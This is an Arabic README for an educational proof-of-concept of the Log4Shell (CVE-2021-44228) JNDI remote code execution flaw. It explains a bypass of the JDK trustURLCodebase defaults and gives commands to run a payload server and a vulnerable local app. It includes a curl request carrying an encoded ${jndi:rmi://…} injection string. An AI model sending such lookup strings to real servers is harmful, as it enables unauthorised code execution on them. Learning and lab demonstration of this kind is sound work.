
أقل دليل إثبات للمفهوم لثغرة Log4j2 JNDI RCE (CVE-2021-44228/Log4Shell).
إثبات مفهوم بسيط لثغرة تنفيذ الأوامر عن بعد عبر JNDI في Log4j2 (CVE-2021-44228). هذا مخصص للأغراض التعليمية لمساعدة الأشخاص غير المتخصصين في أمن المعلومات على فهم كيفية عملها ومدى تأثيرها.
يتجاوز هذا الإثبات شرط تعيين الخصائص com.sun.jndi.rmi.object.trustURLCodebase و com.sun.jndi.cosnaming.object.trustURLCodebase إلى true والتي تم تعطيلها افتراضيًا منذ الإصدارات 8u121 و7u131 و6u141.
ملاحظة: يتطلب JDK 1.8 لتجميع payload-server، لكن victim-app معرض للخطر حتى JDK 15 لأن [محرك Nashorn تمت إزالته في JDK 15][].
payload-server بتشغيل الأمر:$ ./gradlew runPayloadServer
victim-app:$ ./gradlew runVictimApp
قم بتشغيل الأمر curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D لتشغيل تنفيذ الأوامر عن بعد.
لإثبات تنفيذ الأوامر عن بعد، تحقق من سجل وحدة التحكم لـ victim-app. يجب أن ترى سجلًا غير مقصود قد طُبع على الشاشة.